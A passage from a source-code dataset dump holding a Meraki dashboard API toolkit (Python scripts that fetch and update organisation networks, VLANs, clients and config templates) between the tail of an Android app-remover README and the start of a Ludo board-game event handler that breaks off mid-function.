"alphanum_fraction": 0.7512690424919128, "avg_line_length": 25.81818199157715, "blob_id": "0afb9f189e0e1da88d83a034fd6037dcdcb137fc", "content_id": "c700fb335d9882566a853e701b86347ae8f0592c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 591, "license_type": "no_license", "max_line_length": 83, "num_lines": 22, "path": "/Readme.md", "repo_name": "5p4r70n/Android-ADB", "src_encoding": "UTF-8", "text": "# Android App Remover\n\n## aim simplify removing apps from android phone via Adb shell\n\n## Required Packages\n- ppadb,https://pypi.org/project/pure-python-adb/ , \" pip install pure-python-adb \"\n- flask, \"pip install flask\"\n \n\n## how to use\n\n- clone repo\n- Enable developer options in your device then Enable \"USB debugging mode\"\n- Connect device to computer\n- open terminal and \"python3 App remover.py\" inside cloned repository\n- click connect to device\n- Select application display type then click \" List Apps\"\n- Select apps you want to remove then press remove \n\n\n#feedbacks appreciated \n- \n" } ]
3
mbrainar/meraki_api_tools
https://github.com/mbrainar/meraki_api_tools
af64a4d21ac62f2fee8bc739a43d36615f414510
e2b196ee29b9a0d6332b5da35eb1111eb17967a3
67c913bdabd745a83ba2fa7c522aa4cb38b22a37
refs/heads/master
2022-12-13T18:13:18.006613
2018-06-13T16:19:10
2018-06-13T16:19:10
132,551,946
0
0
null
2018-05-08T04:03:30
2018-06-13T16:19:20
2021-06-01T22:20:17
Python
[ { "alpha_fraction": 0.6045390367507935, "alphanum_fraction": 0.6062411069869995, "avg_line_length": 36.90322494506836, "blob_id": "66d0fe71e6af6eb40a317a60a28a9fee35cf90b2", "content_id": "abab23f4752712c174e33710440acc4e33968e51", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3525, "license_type": "no_license", "max_line_length": 95, "num_lines": 93, "path": "/get_vlans.py", "repo_name": "mbrainar/meraki_api_tools", "src_encoding": "UTF-8", "text": "import requests\nfrom argparse import ArgumentParser\nfrom utils import get_org_id, get_network_id\nimport os\nimport json\n\ndef get_vlans(api_key, network_id, vlan_id):\n if vlan_id:\n url = \"https://api.meraki.com/api/v0/networks/{}/vlans/{}\".format(network_id, vlan_id)\n else:\n url = \"https://api.meraki.com/api/v0/networks/{}/vlans\".format(network_id)\n headers = {\n 'x-cisco-meraki-api-key': api_key,\n 'Cache-Control': \"no-cache\",\n 'Postman-Token': \"cab4c162-203e-4cc6-bff1-42d946026c15\"\n }\n response = requests.request(\"GET\", url, headers=headers)\n if vlan_id and response.status_code == 404:\n print(\"VLAN ID provided was not found in the network\")\n return False\n else:\n return response.json()\n\nif __name__ == '__main__':\n\n parser = ArgumentParser(description='Usage:')\n # script arguments\n parser.add_argument('-k', '--key', type=str, required=False,\n help=\"API Key from Meraki Dashboard\")\n parser.add_argument('-o', '--organization', type=str, required=True,\n help=\"Name of Organization in Meraki Dashboard\")\n parser.add_argument('-n', '--network', type=str, required=True,\n help=\"Name of Network in Meraki Dashboard\")\n parser.add_argument('-v', '--vlan', type=str, required=False,\n help=\"Only return information for the VLAN provided\")\n parser.add_argument('-f', '--file', type=str, required=False,\n help=\"Output file for VLAN information\")\n args = parser.parse_args()\n\n if args.key:\n api_key = args.key\n print(\"Using API Key provided\")\n else:\n print(\"No API key provided, checking environment variable \\\"MERAKI_API_KEY\\\"\")\n api_key = os.environ.get(\"MERAKI_API_KEY\")\n if not api_key:\n print(\"Unable to get API key; exiting\")\n exit()\n organization_name = args.organization\n if args.vlan:\n vlan_id = args.vlan\n else:\n vlan_id = False\n network_name = args.network\n if args.file:\n output_file = args.file\n else:\n output_file = False\n\n print(\"Getting organization id for: {}\".format(organization_name))\n organization_id = get_org_id(api_key, organization_name)\n if organization_id:\n print(\"Organization id = {}\".format(organization_id))\n else:\n print(\"Unable to find organization: {}\".format(organization_name))\n print(\"Check organization name, ensure you have access to organization, check API key\")\n exit()\n\n print(\"Getting network id for: {}\".format(network_name))\n network_id = get_network_id(api_key, organization_id, network_name)\n if network_id:\n print(\"Network id = {}\".format(network_id))\n else:\n print(\"Unable to find network: {}\".format(network_name))\n print(\"Check network name, ensure network is in organization, check API key\")\n exit()\n\n if vlan_id:\n print(\"Getting information VLAN {}\".format(vlan_id))\n else:\n print(\"Getting information for all VLANs\")\n\n vlan_details = get_vlans(api_key, network_id, vlan_id)\n if vlan_details:\n if output_file:\n print(\"Output file provided, writing to {}\".format(output_file))\n fh = open(output_file,\"w\")\n json.dump(vlan_details, fh)\n print(\"Writing complete\")\n fh.close()\n else:\n print(\"Pretty printing VLAN details\")\n print(json.dumps(vlan_details, sort_keys=True, indent=4))\n" }, { "alpha_fraction": 0.554174542427063, "alphanum_fraction": 0.5590381026268005, "avg_line_length": 41.54022979736328, "blob_id": "0d7a8a40b30c0f7690011fb714dc864281ba1c73", "content_id": "a15ea36a1835174bc0dd1d3fb20bb1de556d3b6c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3701, "license_type": "no_license", "max_line_length": 168, "num_lines": 87, "path": "/create_network.py", "repo_name": "mbrainar/meraki_api_tools", "src_encoding": "UTF-8", "text": "import requests\nfrom argparse import ArgumentParser\nfrom utils import get_org_id\n\ndef create_network(api_key, organization_id, name, type):\n url = \"https://api.meraki.com/api/v0/organizations/{}/networks\".format(organization_id)\n payload = \"{\\\"name\\\":\\\"\"+name+\"\\\", \\\"type\\\":\\\"\"+type+\"\\\"}\"\n headers = {\n 'x-cisco-meraki-api-key': api_key,\n 'Content-Type': \"application/json\",\n 'Cache-Control': \"no-cache\",\n 'Postman-Token': \"eed11869-b5d4-477d-bcad-b93885f7dba8\"\n }\n response = requests.request(\"POST\", url, data=payload, headers=headers)\n\n return response.status_code, response.json()\n\n\n\nif __name__ == '__main__':\n\n parser = ArgumentParser(description='Usage:')\n # script arguments\n parser.add_argument('-k', '--key', type=str, required=True,\n help=\"API Key from Meraki Dashboard\")\n parser.add_argument('-o', '--organization', type=str, required=True,\n help=\"Name of Organization in Meraki Dashboard\")\n parser.add_argument('-f', '--file', type=str, required=False,\n help=\"Use file to create bulk networks\")\n parser.add_argument('-n', '--name', type=str, required=False,\n help=\"Name of new network\")\n parser.add_argument('-t', '--type', type=str, required=False,\n help=\"Type of new network. Valid types are \\'wireless\\', \\'switch\\', \\'appliance\\', or a space-separated list of those for a combined network.\")\n args = parser.parse_args()\n\n api_key = args.key\n organization_name = args.organization\n # Require either -f OR (-n AND -t)\n if not args.file and (not args.name or not args.type):\n print(\"ERROR: Must supply either file or name and type\")\n exit()\n file = args.file\n name = args.name\n type = args.type\n valid_types = [\"wireless\", \"switch\", \"appliance\"]\n if type and type.lower() not in valid_types:\n print(\"ERROR: Type must be \\'wireless\\', \\'switch\\', or \\'appliance\\'\")\n exit()\n\n organization_id = get_org_id(api_key, organization_name)\n\n if organization_id:\n\n # If file provided, use that\n if file:\n count = 0\n print(\"Reading input from file: {}\".format(file))\n fh = open(file,\"r\")\n for line in fh:\n fields = line.split(\",\")\n name = fields[0]\n type = fields[1]\n if name != \"Network Name\":\n count += 1\n api_status, network = create_network(api_key, organization_id, name, type.lower().strip())\n if api_status == 201:\n print(\"{} network \\\"{}\\\" was successfully created; network id = {}\".format(network['type'], network['name'], network['id']))\n elif api_status == 400:\n print(\"Unable to create network \\\"{}\\\". Error message: {}\".format(name, network['errors']))\n break\n fh.close()\n\n if count == 0:\n print(\"No entries found in file\")\n\n else:\n api_status, network = create_network(api_key, organization_id, name, type.lower())\n if api_status == 201:\n print(\"{} network \\\"{}\\\" was successfully created; network id = {}\".format(network['type'], network['name'], network['id']))\n elif api_status == 400:\n print(\"Unable to create network. Error message: {}\".format(network['errors']))\n exit()\n\n else:\n print(\"Unable to find organization: {}\".format(organization_name))\n print(\"Check organization name, ensure you have access to organization, check API key\")\n exit()\n" }, { "alpha_fraction": 0.5766394138336182, "alphanum_fraction": 0.5792306065559387, "avg_line_length": 37.592308044433594, "blob_id": "a00f8389c7de3178feb256a573051678c42b0fcc", "content_id": "765f5b98b52458efcd5fc2a8269b9b02b0ba2c82", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5017, "license_type": "no_license", "max_line_length": 97, "num_lines": 130, "path": "/get_clients.py", "repo_name": "mbrainar/meraki_api_tools", "src_encoding": "UTF-8", "text": "import requests\nfrom argparse import ArgumentParser\nfrom utils import get_org_id\n\n# Get the list of networks in the organization\ndef get_networks(api_key, organization_id):\n url = \"https://api.meraki.com/api/v0/organizations/{}/networks\".format(organization_id)\n headers = {\n 'x-cisco-meraki-api-key': api_key,\n 'Cache-Control': \"no-cache\",\n 'Postman-Token': \"609d14d7-2d33-4a2f-bfa7-caaf4e29c595\"\n }\n response = requests.request(\"GET\", url, headers=headers)\n\n return response.json()\n\n# Get list of devices for a given network id\ndef get_devices(api_key, network_id):\n url = \"https://api.meraki.com/api/v0/networks/{}/devices\".format(network_id)\n headers = {\n 'x-cisco-meraki-api-key': api_key,\n 'Cache-Control': \"no-cache\",\n 'Postman-Token': \"0076cb43-cd93-49cb-8903-58ce69718bef\"\n }\n response = requests.request(\"GET\", url, headers=headers)\n\n return response.json()\n\n# Get list of clients for a given device\ndef get_clients(api_key, device_serial, timespan):\n url = \"https://api.meraki.com/api/v0/devices/{}/clients\".format(device_serial)\n querystring = {\"timespan\":timespan}\n headers = {\n 'x-cisco-meraki-api-key': api_key,\n 'Cache-Control': \"no-cache\",\n 'Postman-Token': \"385091b4-e733-4f7b-a203-6d06b85ade36\"\n }\n response = requests.request(\"GET\", url, headers=headers, params=querystring)\n\n return response.json()\n\n\nif __name__ == '__main__':\n\n parser = ArgumentParser(description='Usage:')\n # script arguments\n parser.add_argument('-k', '--key', type=str, required=True,\n help=\"API Key from Meraki Dashboard\")\n parser.add_argument('-o', '--organization', type=str, required=True,\n help=\"Name of Organization in Meraki Dashboard\")\n parser.add_argument('-t', '--timespan', type=str, required=False,\n help=\"Timespan in seconds for which to collect clients\")\n parser.add_argument('-v', '--vlan', type=str, required=False,\n help=\"Only return clients on the VLAN provided\")\n args = parser.parse_args()\n\n api_key = args.key\n organization_name = args.organization\n if args.timespan:\n timespan = args.timespan\n print(\"Timespan for connected clients set to {}\".format(timespan))\n else:\n timespan = \"604800\"\n print(\"Timespan for connected clients not provided, defaulting to {}\".format(timespan))\n if args.vlan:\n vlan = args.vlan\n print(\"Will only return clients for VLAN {}\".format(vlan))\n else:\n vlan = None\n\n all_clients = []\n unique_clients = []\n\n # Get organization id\n print(\"Getting organization id for: {}\".format(organization_name))\n organization_id = get_org_id(api_key, organization_name)\n if organization_id:\n print(\"Organization id = {}\".format(organization_id))\n else:\n print(\"Unable to find organization: {}\".format(organization_name))\n print(\"Check organization name, ensure you have access to organization, check API key\")\n exit()\n\n # Get list of networks\n print(\"Getting list of networks\")\n networks = get_networks(api_key, organization_id)\n print(\"Found {} networks\".format(len(networks)))\n\n # Iterate through networks to get devices in each network\n print(\"Getting devices for each network\")\n for n in networks:\n print(\" Getting devices for the network: {}\".format(n['name']))\n devices = get_devices(api_key, n['id'])\n print(\" Found {} devices\".format(len(devices)))\n\n # Iterate through devices to get clients\n for d in devices:\n if d['model'][:2] == \"MX\":\n print(\" Getting clients associated with the device SN {}\".format(d['serial']))\n clients = get_clients(api_key, d['serial'], timespan)\n\n # Iterate through clients, if VLAN provided, only print matches\n client_count = 0\n client_list = []\n for c in clients:\n if not vlan:\n client_count += 1\n client_list.append(c['mac'])\n all_clients.append(c['mac'])\n if c['mac'] not in unique_clients:\n unique_clients.append(c['mac'])\n else:\n if str(c['vlan']) == vlan:\n client_count += 1\n client_list.append(c['mac'])\n all_clients.append(c['mac'])\n if c['mac'] not in unique_clients:\n unique_clients.append(c['mac'])\n print(\" Found {} clients\".format(client_count))\n # print(\" {}\".format(client_list))\n\n else:\n print(\" Skipping device SN {}, not MX\".format(d['serial']))\n\n print()\n print(\"Found {} total clients\".format(len(all_clients)))\n # print(all_clients)\n\n print(\"Found {} unique clients\".format(len(unique_clients)))\n # print(unique_clients)\n" }, { "alpha_fraction": 0.6216058135032654, "alphanum_fraction": 0.6233576536178589, "avg_line_length": 39.29411697387695, "blob_id": "a0210f853d9da02accb0be3b19c6229f827d4f05", "content_id": "b7e69c1fddb040ae53845beb032834c3421b8424", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3425, "license_type": "no_license", "max_line_length": 95, "num_lines": 85, "path": "/put_vlans.py", "repo_name": "mbrainar/meraki_api_tools", "src_encoding": "UTF-8", "text": "import requests\nfrom argparse import ArgumentParser\nfrom utils import get_org_id, get_network_id\nimport os\nimport json\n\ndef put_vlan(api_key, network_id, vlan_id, vlan_details):\n url = \"https://api.meraki.com/api/v0/networks/{}/vlans/{}\".format(network_id, vlan_id)\n # print(url)\n headers = {\n 'x-cisco-meraki-api-key': api_key,\n 'Cache-Control': \"no-cache\",\n 'Postman-Token': \"cab4c162-203e-4cc6-bff1-42d946026c15\"\n }\n payload = vlan_details\n response = requests.request(\"PUT\", url, json=payload, headers=headers)\n return response.status_code, response.json()\n\nif __name__ == '__main__':\n\n parser = ArgumentParser(description='Usage:')\n # script arguments\n parser.add_argument('-k', '--key', type=str, required=False,\n help=\"API Key from Meraki Dashboard\")\n parser.add_argument('-o', '--organization', type=str, required=True,\n help=\"Name of Organization in Meraki Dashboard\")\n parser.add_argument('-n', '--network', type=str, required=True,\n help=\"Name of Network in Meraki Dashboard\")\n parser.add_argument('-f', '--file', type=str, required=True,\n help=\"Input file for VLAN information\")\n args = parser.parse_args()\n\n if args.key:\n api_key = args.key\n print(\"Using API Key provided\")\n else:\n print(\"No API key provided, checking environment variable \\\"MERAKI_API_KEY\\\"\")\n api_key = os.environ.get(\"MERAKI_API_KEY\")\n if not api_key:\n print(\"Unable to get API key; exiting\")\n exit()\n organization_name = args.organization\n network_name = args.network\n input_file = args.file\n\n print(\"Getting organization id for: {}\".format(organization_name))\n organization_id = get_org_id(api_key, organization_name)\n if organization_id:\n print(\"Organization id = {}\".format(organization_id))\n else:\n print(\"Unable to find organization: {}\".format(organization_name))\n print(\"Check organization name, ensure you have access to organization, check API key\")\n exit()\n\n print(\"Getting network id for: {}\".format(network_name))\n network_id = get_network_id(api_key, organization_id, network_name)\n if network_id:\n print(\"Network id = {}\".format(network_id))\n else:\n print(\"Unable to find network: {}\".format(network_name))\n print(\"Check network name, ensure network is in organization, check API key\")\n exit()\n\n print(\"Opening input file {}\".format(input_file))\n fh = open(input_file, \"r\")\n vlan_details = json.load(fh)\n if type(vlan_details) is dict:\n print(\"Input file only contains one vlan; converting dict to list\")\n new_vlan_details = []\n new_vlan_details.append(vlan_details)\n vlan_details = new_vlan_details\n print(\"Looping through vlan list\")\n\n for vlan in vlan_details:\n print(\"VLAN {} found; putting vlan information\".format(vlan['id']))\n # print(json.dumps(vlan, sort_keys=True, indent=4))\n status, response = put_vlan(api_key, network_id, vlan['id'], vlan)\n if status != 200:\n print(\"There was an error setting the vlan information\")\n print(status)\n print(json.dumps(response))\n else:\n print(\"Successfully set information for vlan {}\".format(vlan['id']))\n\n # print(json.dumps(vlan_details, sort_keys=True, indent=4))\n" }, { "alpha_fraction": 0.6330195069313049, "alphanum_fraction": 0.6356470584869385, "avg_line_length": 38.713043212890625, "blob_id": "d13c4427be86f6ebc32d2cca143b09ab70f1329b", "content_id": "1c3a37866172ecf29fb7a88947ed5dcfb9141639", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4567, "license_type": "no_license", "max_line_length": 95, "num_lines": 115, "path": "/change_template.py", "repo_name": "mbrainar/meraki_api_tools", "src_encoding": "UTF-8", "text": "import requests\nfrom argparse import ArgumentParser\nfrom utils import get_org_id, get_network_id, get_template_id\nimport os\nimport json\n\ndef get_current_template(api_key, network_id):\n url = \"https://api.meraki.com/api/v0/networks/{}\".format(network_id)\n headers = {\n 'x-cisco-meraki-api-key': api_key\n }\n response = requests.request(\"GET\", url, headers=headers)\n if response.status_code == 200:\n if \"configTemplateId\" in response.json():\n return response.json()['configTemplateId']\n else:\n return False\n else:\n return None\n\ndef bind_template(api_key, network_id, template_id):\n url = \"https://api.meraki.com/api/v0/networks/{}/bind\".format(network_id)\n headers = {\n 'x-cisco-meraki-api-key': api_key,\n 'Content-Type': \"application/json\"\n }\n payload = {\"configTemplateId\":template_id}\n response = requests.request(\"POST\", url, data=json.dumps(payload), headers=headers)\n return response.status_code\n\ndef unbind_template(api_key, network_id):\n url = \"https://api.meraki.com/api/v0/networks/{}/unbind\".format(network_id)\n headers = {\n 'x-cisco-meraki-api-key': api_key\n }\n response = requests.request(\"POST\", url, headers=headers)\n return response.status_code\n\nif __name__ == '__main__':\n\n parser = ArgumentParser(description='Usage:')\n # script arguments\n parser.add_argument('-k', '--key', type=str, required=False,\n help=\"API Key from Meraki Dashboard\")\n parser.add_argument('-o', '--organization', type=str, required=True,\n help=\"Name of Organization in Meraki Dashboard\")\n parser.add_argument('-n', '--network', type=str, required=True,\n help=\"Name of Network in Meraki Dashboard\")\n parser.add_argument('-t', '--template', type=str, required=True,\n help=\"Name of Configuration Template\")\n args = parser.parse_args()\n\n if args.key:\n api_key = args.key\n print(\"Using API Key provided\")\n else:\n print(\"No API key provided, checking environment variable \\\"MERAKI_API_KEY\\\"\")\n api_key = os.environ.get(\"MERAKI_API_KEY\")\n if not api_key:\n print(\"Unable to get API key; exiting\")\n exit()\n organization_name = args.organization\n network_name = args.network\n template_name = args.template\n\n print(\"Getting organization id for: {}\".format(organization_name))\n organization_id = get_org_id(api_key, organization_name)\n if not organization_id:\n print(\"Unable to find organization: {}\".format(organization_name))\n print(\"Check organization name, ensure you have access to organization, check API key\")\n exit()\n print(\"Organization id = {}\".format(organization_id))\n\n print(\"Getting network id for: {}\".format(network_name))\n network_id = get_network_id(api_key, organization_id, network_name)\n if not network_id:\n print(\"Unable to find network: {}\".format(network_name))\n print(\"Check network name, ensure network is in organization, check API key\")\n exit()\n print(\"Network id = {}\".format(network_id))\n\n print(\"Getting current template for network\")\n current_template_id = get_current_template(api_key, network_id)\n if current_template_id is None:\n print(\"Unable to get network info\")\n exit()\n elif current_template_id is not False:\n print(\"Current template id = {}\".format(current_template_id))\n # todo add conversion to template name\n\n # Unbind from current template\n print(\"Start unbind from current template\")\n unbind_status = unbind_template(api_key, network_id)\n if unbind_status != 200:\n print(\"Unable to unbind template\")\n exit()\n else:\n print(\"Successfully unbound template\")\n else:\n print(\"Network is not currently part of a template\")\n\n print(\"Start bind to new template\")\n print(\"Getting template id for: {}\".format(template_name))\n template_id = get_template_id(api_key, organization_id, template_name)\n if not template_id:\n print(\"Unable to find template: {}\".format(template_name))\n print(\"Check template name, ensure template is in organization, check API key\")\n exit()\n print(\"Template id = {}\".format(template_id))\n bind_status = bind_template(api_key, network_id, template_id)\n if bind_status != 200:\n print(\"Unable to bind template\")\n exit()\n else:\n print(\"Successfully bound template\")\n" }, { "alpha_fraction": 0.7118512988090515, "alphanum_fraction": 0.7296669483184814, "avg_line_length": 30.487804412841797, "blob_id": "fd3b4e099e75d23ed7cfde2a44fa017942b4e0b0", "content_id": "e1e545a708237e3cc56fea04a2efaa77bef682a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1291, "license_type": "no_license", "max_line_length": 111, "num_lines": 41, "path": "/README.md", "repo_name": "mbrainar/meraki_api_tools", "src_encoding": "UTF-8", "text": "# meraki_api_tools\n\nCollection of python-based Meraki API tools\n\n## Use cases\n\n1. Get client counts information from networks\n\n * [get_clients.py](get_clients.py) = get client counts for all networks within an organization\n\n2. Batch create new networks\n\n * [create_network.py](create_network.py) = create new network, or use import file\n * [create_file_template.csv](create_file_template.csv) = template for create_network import file\n\n3. Automate template change and VLAN readdressing\n\n Example usage:\n ```\n export MERAKI_API_KEY=REDACTED\n python get_vlans.py -o \"ACME Corp\" -n \"Branch 0018\" -f \"Branch 0018 VLANS.txt\"\n python change_template.py -o \"ACME Corp\" -n \"Branch 0018\" -t \"New Branch Template\"\n python put_vlans.py -o \"ACME Corp\" -n \"Branch 0018\" -f \"Branch 0018 VLANS.txt\"\n ```\n\n * [get_vlans.py](get_vlans.py) = get list of vlan information from provided network\n * [change_template.py](change_template.py) = unbind network from template, then bind to new template provided\n * [put_vlans.py](put_vlans.py) = take JSON input (from get_vlans.py) and modify networks\n\n\nExtras:\n\n* [utils.py](utils.py) = common functions across tools\n\n\n# TODO\n\n* top applications for guest\n* time spent on guest\n* bandwidth spent on guest\n* bulk template changes from CSV or network tag\n" }, { "alpha_fraction": 0.635529637336731, "alphanum_fraction": 0.6380317211151123, "avg_line_length": 33.25714111328125, "blob_id": "71c6cd4d3266be1ee1f102d1377653dda05fc9ff", "content_id": "99f3922043ce364aa932a4332d740b4b8385547a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1199, "license_type": "no_license", "max_line_length": 98, "num_lines": 35, "path": "/utils.py", "repo_name": "mbrainar/meraki_api_tools", "src_encoding": "UTF-8", "text": "import requests\n\n# Get the organization id from the provided name\ndef get_org_id(api_key, organization_name):\n url = \"https://api.meraki.com/api/v0/organizations\"\n headers = {\n 'x-cisco-meraki-api-key': api_key\n }\n response = requests.request(\"GET\", url, headers=headers)\n\n for org in response.json():\n if org['name'] == organization_name:\n return org['id']\n\ndef get_network_id(api_key, organization_id, network_name):\n url = \"https://api.meraki.com/api/v0/organizations/{}/networks\".format(organization_id)\n headers = {\n 'x-cisco-meraki-api-key': api_key\n }\n response = requests.request(\"GET\", url, headers=headers)\n\n for network in response.json():\n if network['name'] == network_name:\n return network['id']\n\ndef get_template_id(api_key, organization_id, template_name):\n url = \"https://api.meraki.com/api/v0/organizations/{}/configTemplates\".format(organization_id)\n headers = {\n 'x-cisco-meraki-api-key': api_key\n }\n response = requests.request(\"GET\", url, headers=headers)\n\n for template in response.json():\n if template['name'] == template_name:\n return template['id']\n" } ]
7
velozo27/INF1301-Programacao-Modular
https://github.com/velozo27/INF1301-Programacao-Modular
067f0d515a4e38a6b5a3c81b055854477a0d0bda
8f79c17de16ce28374351bc3643ab06df5631211
75ed4afbd4a57cd80fe529a0330eef013b7c314c
refs/heads/main
2023-01-30T00:01:35.438805
2020-12-13T22:43:59
2020-12-13T22:43:59
308,783,799
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5243431329727173, "alphanum_fraction": 0.5559524297714233, "avg_line_length": 36.20000076293945, "blob_id": "eeb613ba0998618dbf0159461e1d6e1e55556569", "content_id": "121e29ba936e65ef6e3a4d4609518c9e391133c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 20454, "license_type": "no_license", "max_line_length": 117, "num_lines": 535, "path": "/INF1301-Programacao-Modular/controller/event_handler.py", "repo_name": "velozo27/INF1301-Programacao-Modular", "src_encoding": "UTF-8", "text": "from model import game_rules\r\nfrom view import draw_canvas\r\nfrom tkinter import *\r\nfrom tkinter import filedialog\r\nfrom tkinter.filedialog import askdirectory, asksaveasfilename\r\nimport ast\r\n\r\nH = 600\r\nW = 600\r\ncores_peca = [\"blue\", \"yellow\", \"green\", \"red\"]\r\nesperando_jogada = False\r\n\r\n\r\ndef clica(e):\r\n global dado, canvas_move_peca, root_move_peca, cores_peca, vez, seis_count, esperando_jogada, dado_button\r\n\r\n caminho_prin = game_rules.get_caminho_principal()\r\n pos_peca = calcula_posicao_tabuleiro(e.x, e.y)\r\n seis_count = game_rules.get_seis_count()\r\n canvas_move_peca = draw_canvas.get_canvas()\r\n root_move_peca = draw_canvas.get_root()\r\n if type(pos_peca) is not tuple: # se for tupla, peca está na casa final\r\n if pos_peca != None and tem_peca_na_posicao(pos_peca) == True:\r\n if cor_da_peca_na_posicao_clicada_igual_a_vez(pos_peca, vez) == True: # so pode mexer peca da cor da vez\r\n game_rules.move_peca(vez=vez, dado=dado, pos_atual_caminho_principal=pos_peca)\r\n\r\n # verifica o que fica na casa que a peca saiu\r\n tipo_de_casa = qual_tipo_de_casa(pos_peca)\r\n\r\n if tipo_de_casa == \"CASA NORMAL\":\r\n draw_canvas.desenha_quadrado(canvas_move_peca, pos_peca, tipo_de_casa)\r\n if tipo_de_casa == \"ABRIGO\":\r\n cor_de_mudanca = qual_outra_cor_abrigo(pos_peca)\r\n draw_canvas.desenha_quadrado(canvas_move_peca, pos_peca, tipo_de_casa,\r\n cor_de_mudanca=cores_peca[cor_de_mudanca])\r\n if tipo_de_casa == \"BARREIRA\":\r\n draw_canvas.desenha_quadrado(canvas_move_peca, pos_peca, tipo_de_casa,\r\n cor_de_mudanca=cores_peca[vez])\r\n draw_canvas.desenha(canvas_move_peca, root_move_peca)\r\n\r\n if dado != 6:\r\n vez = game_rules.vez_do_proximo()\r\n else:\r\n game_rules.muda_6_count()\r\n if seis_count == 2:\r\n game_rules.seis_tres_vezes_seguidas()\r\n vez = game_rules.vez_do_proximo()\r\n draw_canvas.limpa_tabuleiro(canvas_move_peca, root_move_peca)\r\n draw_canvas.desenha(canvas_move_peca, root_move_peca)\r\n\r\n # permite apertar o botao de lancar o dado\r\n dado_button = draw_canvas.get_dado_button()\r\n dado_button[\"state\"] = NORMAL\r\n\r\n salvar_jogo_button = draw_canvas.get_salvar_jogo_button()\r\n salvar_jogo_button[\"state\"] = NORMAL\r\n\r\n\r\n elif type(pos_peca) is tuple: # peça está na reta final\r\n game_rules.move_peca(vez=pos_peca[-1], dado=dado, pos_atual_reta_final=pos_peca[0])\r\n\r\n draw_canvas.desenha(canvas_move_peca, root_move_peca)\r\n\r\n dado_button = draw_canvas.get_dado_button()\r\n dado_button[\"state\"] = NORMAL\r\n\r\n salvar_jogo_button = draw_canvas.get_salvar_jogo_button()\r\n salvar_jogo_button[\"state\"] = NORMAL\r\n\r\n # Passando a vez para o proximo\r\n vez = game_rules.vez_do_proximo()\r\n\r\n # MOSTRA QUEM GANHOU\r\n if game_rules.verifica_vitoria():\r\n list_vencedor = game_rules.verifica_vitoria()\r\n draw_canvas.messagebox.showinfo(\"{} GANHOU\".format(cores_peca[list_vencedor[0]].upper()),\r\n \"1o - {}\\n2o - {}\\n3o - {}\\n4o - {}\".format(\r\n cores_peca[list_vencedor[0]].upper(),\r\n cores_peca[list_vencedor[1]].upper(),\r\n cores_peca[list_vencedor[2]].upper(),\r\n cores_peca[list_vencedor[3]].upper()))\r\n\r\n\r\ndef get_esperando_jogada():\r\n global esperando_jogada\r\n return esperando_jogada\r\n\r\n\r\ndef cor_da_peca_na_posicao_clicada_igual_a_vez(pos_peca, vez):\r\n caminho_prin = game_rules.get_caminho_principal()\r\n lista_abrigos = game_rules.get_caminho_principal_abrigo()\r\n # caso nao seja abrigo\r\n\r\n if caminho_prin[pos_peca] != 0 and caminho_prin[pos_peca] != -100:\r\n if caminho_prin[pos_peca] == vez:\r\n return True\r\n # caso seja abrigo\r\n elif caminho_prin[pos_peca] == -100:\r\n mapea_pos_abrigo_index_lista_abrigos = {9: 0, 22: 1, 35: 2, 48: 3}\r\n for peca in lista_abrigos[mapea_pos_abrigo_index_lista_abrigos[pos_peca]][0]:\r\n if peca == vez:\r\n return True\r\n return False\r\n\r\n\r\ndef qual_outra_cor_abrigo(pos):\r\n # retorna a cor da peca que nao vai sair do abrigo\r\n caminho_principal_abrigo = game_rules.get_caminho_principal_abrigo()\r\n if pos == 9:\r\n abrigo = caminho_principal_abrigo[0][0]\r\n elif pos == 22:\r\n abrigo = caminho_principal_abrigo[1][0]\r\n elif pos == 35:\r\n abrigo = caminho_principal_abrigo[2][0]\r\n else:\r\n abrigo = caminho_principal_abrigo[3][0]\r\n if vez == abrigo[0]:\r\n return abrigo[1]\r\n return abrigo[0]\r\n\r\n\r\ndef qual_tipo_de_casa(pos):\r\n global caminho_principal\r\n caminho_principal_bar = game_rules.get_caminho_principal_bar()\r\n abrigos_posicoes = [9, 22, 35, 48]\r\n casas_saida = [0, 13, 26, 39]\r\n if pos in abrigos_posicoes:\r\n return \"ABRIGO\"\r\n if pos in caminho_principal_bar:\r\n return \"BARREIRA\"\r\n if pos in casas_saida:\r\n return \"CASA DE SAIDA\"\r\n return \"CASA NORMAL\"\r\n\r\n\r\ndef tem_peca_na_posicao(pos_peca):\r\n caminho_prin = game_rules.get_caminho_principal()\r\n lista_abrigos = game_rules.get_caminho_principal_abrigo()\r\n # verifica casa normal\r\n if caminho_prin[pos_peca] != 0 and caminho_prin[pos_peca] != -100:\r\n return True\r\n\r\n elif caminho_prin[pos_peca] == -100:\r\n mapea_pos_abrigo_index_lista_abrigos = {9: 0, 22: 1, 35: 2, 48: 3}\r\n for index, abrigo in enumerate(lista_abrigos):\r\n if abrigo[1] == pos_peca:\r\n for peca in lista_abrigos[mapea_pos_abrigo_index_lista_abrigos[pos_peca]][0]:\r\n if peca != 0:\r\n return True\r\n\r\n return False\r\n\r\n\r\ndef calcula_posicao_tabuleiro(x, y):\r\n # retorna o valor da posicao da peca no caminho principal\r\n global W, H, coordenadas_caminhos_coloridos\r\n for i in range(5): # pos 0 - 5 i = 0,1,2,3,4\r\n if y in range(8 * H // 15, 9 * H // 15):\r\n if x in range(14 * W // 15 - i * W // 15, 9 * W // 15 + (4 - i) * W // 15, -1):\r\n return i\r\n\r\n for i in range(6): # pos 6 - 11 i = 0,1,2,3,4,5,6\r\n if x in range(8 * W // 15, 9 * W // 15):\r\n if y in range(360 + i * 40, 600 - (5 - i) * 40, 1):\r\n return i + 5\r\n\r\n # pos 11\r\n if x in range(7 * W // 15, 8 * W // 15) and y in range(14 * H // 15, H):\r\n return 11\r\n\r\n for i in range(6): # pos 12 - 17 i = 0,1,2,3,4,5,6\r\n if x in range(6 * W // 15, 7 * W // 15):\r\n if y in range(600 - i * 40, 360 + (5 - 